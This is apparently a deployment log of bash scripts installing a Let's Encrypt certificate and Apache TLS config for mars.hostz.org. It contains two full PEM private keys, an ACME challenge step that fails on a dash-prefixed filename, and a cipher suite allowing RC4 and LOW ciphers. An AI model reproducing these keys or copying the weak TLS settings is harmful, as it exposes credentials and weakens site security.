-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCukzHcR7fCHoKq
ahD6h9OaXxtKf8iy21/f/fT+xTJ0sVa8dbsKEunQOXrSbVATnLrpjeSoEeQtkXNj
f7uDtTDn60IqdD1JhoA0PyAYlp+Pz5Bo6cUmOZ5sdLw7HRlDzrZbdTQRHTg8P3wT
V7vhEzc428bALYl4ESHtH4I7JxlTpAXZc+m08dbwGCraW3BFbAPoY49QmYO2XF4o
3FKRJd7g7vP2DpKyjYhI3A5uvdu2bjf4v3NBV2/dgXH/VSduaVkRhEh1qmjOZHNl
+DoWDxSHvOL26IGjfLrD/7CssJSG8Z6LgHu/fwCIUr8/ULlqVBlBCS1H64sxRnLl
gv64v4jrAgMBAAECggEAAZEytmPdGMdbVu+i0rebb7Gri2IASZLB6+naDttzANct
YdMQvci+WUSFf2lvJENDmPXReAIecUZH/zxV+5sJzbCFTzTsmUIK2UKOet9cnqw3
WKnDP6eZbicndW8PxgBkugd1qIhW8+YsqqPJUlObgE2AyELgZA01/RdLp6pJ25VZ
PX1Y9q9K8bGtUGlGzQcyn0Zo9ex5BOxRrZ+5ene+CzglGfAwhM/2xNjzYAU52+RY
ZGUKoiGKCn1/fQ1Gt7giYhGLl99X42h6lTOd5CFSMy+BSnihJ0o/QFv8363cofFO
xp/USySxX+PmqLRZXorAjEV2WFmB9JCkdKV74xziiQKBgQDYTlb5INFYyIW3UliG
6Bmie3jJy9Y4TYYo8EJtqsYl6tlx7vv0uuUzg3bZ/GZ99sFcA0RExl4ldHoLzCWN
sHoVUfn2XUn7B9nbhaSe14GRErnrf4ug+6iSJ5Fp2iBd7vdlw8ijVDk/GEGNfsuU
oPjrBQICucTz9joA/NHOnZa9rwKBgQDOnGhPRv9whr1hXNJgBZJZ97VwO8NRw6GV
/T+iGMCtqiUIciHwD4ZIhkdf07F9djHidDRjfaeOkULgO0QBvUYZvh79ye+wmm8K
BMpbGcPCw+XlWKX/S2hNMB//UQKpQydOtgy7IeML4YP5W2wE7LGWOECf+fs8QeVG
RUFrBhUThQKBgQDIAhArxiutU6VI8KyI+d6SPmde+Ms5Pn3aJubVrv4Pm4u67Qcu
sQ40RtBEGj3PJbZ/VUnv6hitu3kKpZbn4BHS2v0tz+8TXpwUfwvMEGtu8IjXeBVt
IqYplsq/vQEGumsqPxGr7LoOXGho5KBr6zifX/8O9CVoi/nwZdW+njr/YwKBgCMp
KPM84OG0fGwiUMb4i8R1zFHSSdYTVd9hnr+mOLwVNYIvcikZaz/SYjkjnJP+VlT0
c6nuy2IOxHPGgjdNj6131mxYPksurPDmic1hIBh4IBqcsHs2yQRByWA42BwYCotx
nc8G4E24Ti5UaZiY80vePNk8wI2rpSoFRTHCcjnFAoGBAINAJKTEakzQ5LeCXCNP
/bZhwy7o8KGn9hLf4pyqcOSP0K9/8Ox3Ig89T/FvHxC8jNORogIlb4ogCnjEdo35
hFMz3PHXCDGq1UKhqlsPJa3+kiKsNGhh85Gup3sVPzXwj6rwQhrwptxNt0rwNABF
BoouSmrN7z+VtDvL1t9edsHo
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






2026-06-26 06:00:02: Establishing a connection
2026-06-26 06:00:03: Establishing a connection
2026-06-26 06:00:03: 

PUT: /tmp/pkp487142

#!/bin/bash
if [ -d "/var/www/hostz_mars/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-06-26 06:00:03: 

chmod 755 /tmp/pkp487142; /tmp/pkp487142; rm /tmp/pkp487142

2026-06-26 06:00:03: 


1


2026-06-26 06:00:05: Establishing a connection
2026-06-26 06:00:05: 

PUT: /tmp/pkp792514

#!/bin/bash
mkdir -p "/var/www/hostz_mars/.well-known/acme-challenge/"
cd "/var/www/hostz_mars/.well-known/acme-challenge/"
cat > -wIzIFQZ_tnseMI0uzKf-d4TPOw9rAFuz26vHZ2Iyso <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
-wIzIFQZ_tnseMI0uzKf-d4TPOw9rAFuz26vHZ2Iyso.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 -wIzIFQZ_tnseMI0uzKf-d4TPOw9rAFuz26vHZ2Iyso


2026-06-26 06:00:05: 

chmod 755 /tmp/pkp792514; /tmp/pkp792514; rm /tmp/pkp792514

2026-06-26 06:00:05: 


chmod: invalid mode: ‘-wIzIFQZ_tnseMI0uzKf-d4TPOw9rAFuz26vHZ2Iyso’
Try 'chmod --help' for more information.




STDERR:
chmod: invalid mode: ‘-wIzIFQZ_tnseMI0uzKf-d4TPOw9rAFuz26vHZ2Iyso’
Try 'chmod --help' for more information.


2026-06-26 06:00:09: Establishing a connection
2026-06-26 06:00:09: 

PUT: /tmp/pkp579440

#!/bin/bash
mkdir -p "/var/www/hostz_mars/.well-known/acme-challenge/"
cd "/var/www/hostz_mars/.well-known/acme-challenge/"
rm -wIzIFQZ_tnseMI0uzKf-d4TPOw9rAFuz26vHZ2Iyso


2026-06-26 06:00:09: 

chmod 755 /tmp/pkp579440; /tmp/pkp579440; rm /tmp/pkp579440

2026-06-26 06:00:09: 


rm: invalid option -- 'w'
Try 'rm ./-wIzIFQZ_tnseMI0uzKf-d4TPOw9rAFuz26vHZ2Iyso' to remove the file '-wIzIFQZ_tnseMI0uzKf-d4TPOw9rAFuz26vHZ2Iyso'.
Try 'rm --help' for more information.




STDERR:
rm: invalid option -- 'w'
Try 'rm ./-wIzIFQZ_tnseMI0uzKf-d4TPOw9rAFuz26vHZ2Iyso' to remove the file '-wIzIFQZ_tnseMI0uzKf-d4TPOw9rAFuz26vHZ2Iyso'.
Try 'rm --help' for more information.


2026-06-26 06:00:09: Establishing a connection
2026-06-26 06:00:10: 

PUT: /tmp/pkp419905

#!/bin/bash
temp_file=$(mktemp)
TARGET=ecea81f90eb664107ec66742d2c0036d

cat > $temp_file <<'endmsg'
89:3d:7a:5d:1d:db:5f:67:62:47:c3:74:70:8a:35:33

-----BEGIN CERTIFICATE-----
MIIE9TCCA92gAwIBAgISBUUqZF7eb3/Fbt625X/U/y0lMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNjI2MDUwMTM4WhcNMjYwOTI0MDUwMTM3WjAZMRcwFQYDVQQD
Ew5tYXJzLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AKmCS//h4llQ+jR/BMksHBH5CS9mDIzqMmyj5cDz94Nt9c1TK2EO56KvNio//fD4
o/dJvVg8GcJDwxPnnaq6bt/LLej2eHigc69tbdPDRdkKwAWT5xLtwlTUchFEIEKG
JDdgS3+5b7C34vXFi5Ob68rDhAKXJXd6lTFZ4L90VNxcBATu0ZAwdFkf6LaG5pz8
lZEJieW7Ltf23EnN9cKx8wgB4VB1gskFmWoQsqHqtGs3CmKymnLkXiak062RukK2
oapQ1O6nobLvkiH0lGWBTlpF3qPSsb1xQI4fd/R9b/efI44YloniOYStcg1ApWt3
WNpUcJlkWU4biJmg1g9vqo0CAwEAAaOCAhswggIXMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRBhyHr
W1vR3erIYsOSaB3zRIJ+UjAfBgNVHSMEGDAWgBRAFS0mee0yIJ7fmnId1jIfgQyB
DDAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95cjIuaS5sZW5j
ci5vcmcvMBkGA1UdEQQSMBCCDm1hcnMuaG9zdHoub3JnMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly95cjIuYy5sZW5jci5vcmcv
MzguY3JsMIIBCwYKKwYBBAHWeQIEAgSB/ASB+QD3AHYAyzj3FYl8hKFEX1vB3fvJ
bvKaWc1HCmkFhbDLFMMUWOcAAAGfAoOhSgAABAMARzBFAiA7f//4vkA17VlmEd7+
n5YTuchz9LHDpcVXzDRywwEk2gIhAMbjtDjXXgXFQGepmaAeKVErNtX728o6W+NY
aoqtrKITAH0AbP5QGUOoXqkWvFLRM+TcyR7xQRx9JYQg0XOAnhgY6zoAAAGfAoOi
5AAIAAAFABInPfgEAwBGMEQCIHCQKmhHMumUi+Q/epZTZR4QrHnimjUbyNkrertI
+hu5AiBUmUG35IGLMQNaeernanDzyKg4zySCyGCkkYVCD41OEzANBgkqhkiG9w0B
AQsFAAOCAQEAiP+9cjQMhxqzrf7uNSYMcBSniCRObZz5RydflJJlDlhxgaF4lAcL
MxAM71ftcxW0Thb5qy1QV02ldtMdm6nL96Y5EQPokZzRRA2nXszVIWA1pGBR2/rc
nXmcD2husSTXQFMtCfjgl41PNKE+0MkP+rHpPZa45ina2697gpHuDXWsNrj/IkdA
gmOIzdOY6DqmIURzAIajC4adYwqGok1k8dqB8ugrhIkdvVtuFqQTfbwBfYhF001B
ugt4D4afF1LJJZa7X0mmfXN9hxDJ11VXSrcPKqY6RIplY0EjqvDwVU5sKP9U6xQu
UyNSSMpqtgXDP2eg5stc09YLQh8nYS6O5w==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCpgkv/4eJZUPo0
fwTJLBwR+QkvZgyM6jJso+XA8/eDbfXNUythDueirzYqP/3w+KP3Sb1YPBnCQ8MT
552qum7fyy3o9nh4oHOvbW3Tw0XZCsAFk+cS7cJU1HIRRCBChiQ3YEt/uW+wt+L1
xYuTm+vKw4QClyV3epUxWeC/dFTcXAQE7tGQMHRZH+i2huac/JWRCYnluy7X9txJ
zfXCsfMIAeFQdYLJBZlqELKh6rRrNwpisppy5F4mpNOtkbpCtqGqUNTup6Gy75Ih
9JRlgU5aRd6j0rG9cUCOH3f0fW/3nyOOGJaJ4jmErXINQKVrd1jaVHCZZFlOG4iZ
oNYPb6qNAgMBAAECggEACiZhbx/DOjZpWQHfEz23K5NWK7aoWzq9zLgOrpxdLotD
y+jmQNBP6fOkYmjFB6wXw1uwwQsOPs3obTVyATJbJ77mj5vMkGqJKtC6YhMACHRG
lb7qt/0xJPu4ndSOuvUFz6QOOUZtC++i4TUUO8E7H//PlIkg5vPZ4aPgW453c19d
BRWvdKS19MuXDYyapLrKq1DGJxyzHr+mtDkX7Z05cYtAazsCpcDw04hLyo3EkY0q
aGLk6P3/ykYKAzFL3bmDqDz9wNMVBTz2HbJ+/2YwDuRuPFAuSAHo+YIqUbJC+fue
hg9V4HMo2Fe1QvpQKy4AAaU95d+Z/byhwY41NeXVEQKBgQDqwdDdWpNI8OEnRP65
KrWtBHMb94g2DP9H+XDyJXPlZXPKKQGZD8ZPHtkJtllInZiW+xzxlKX9aLV5BqNu
S3Cz6np+zS+HYKtVc/X3F/DH8WmNPoR91ffIHFTb5OovlC1WhffWQGfep9HWppxl
4lb6rN3x0gBfhJOOSPlCQxUEcQKBgQC42P+NNsLR+BYPA/3RJi8i/js7fp+jjMOG
S+htuOzEJWeOGICPb9oF+lFK5KY09+R70QzwhTQJNfqvuGCiXmsJ/wIPn5BIW02G
ulEXh0DPZx3F+MaKIhN1tb3E/R/ncLrhY8r4gFarEcr7RL82pdXXMjFLQG9RuAHn
OLMCQE6l3QKBgHmYrrEZK1UKv/TxPed3geb+eQkxa/JjRQ9o2uHyGFfn9tPt7Y/0
pclxtwXa1+BPESyTIWjYkCn0RJtNnvWQSe5HM+/eJBJBNj3q9KpqUiOenge1LDdp
zxBt7F6B8fN3EwzQE5F8htDDqGNApZ34YQky5TtOhTb0muGGVuXFjWthAoGBAJE9
P56PVohwa7SkqDw7ynGuXJAkr/5rzf2pixkbYj3EPheyPOF3O1HTGyjDe6zG0mpP
GeGqZ/aMyUpkjtlFYslZ6x6ne1C/HK0tnCXmig/sr8Ir9KP4nl2wzUkIspbBRrVu
Gb8j5/VGZ70CiVPA/cK2l3DPUihdcnFhZZXxPVqpAoGAR1/SS82gI/3xvCxHAyet
3rvtzf/fSPJuz+38N2sz/Kvg6mjoCmy1Qckyrq0vyHg+UReqMUwg9ML3oS4EfDyl
rnykznJMhGwaiZ9WOMgPXnQJ0CvdUnEY+W8uVxauMtDPf6ZNBZ6DCDwC3d8t1ISO
p97wFSNmjVOlXJf9mTFkQ9o=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-06-26 06:00:10: 

chmod 755 /tmp/pkp419905; /tmp/pkp419905; rm /tmp/pkp419905

2026-06-26 06:00:10: 


dir=/etc/ssl/certs


2026-06-26 06:00:10: 

PUT: /tmp/pkp935340

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/000-hostz_mars_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-26 06:00:10: 

chmod 755 /tmp/pkp935340; /tmp/pkp935340; rm /tmp/pkp935340

2026-06-26 06:00:10: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/000-hostz_mars_org.conf 38

<VirtualHost *:80>
    ServerName	mars.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_mars
    <Directory /var/www/hostz_mars>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/mars_access.log combined
    ErrorLog	/var/log/apache2/hostz/mars_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	mars.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_mars
    <Directory /var/www/hostz_mars>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_mars/.htpasswd
        require	valid-user
    </Location>
    
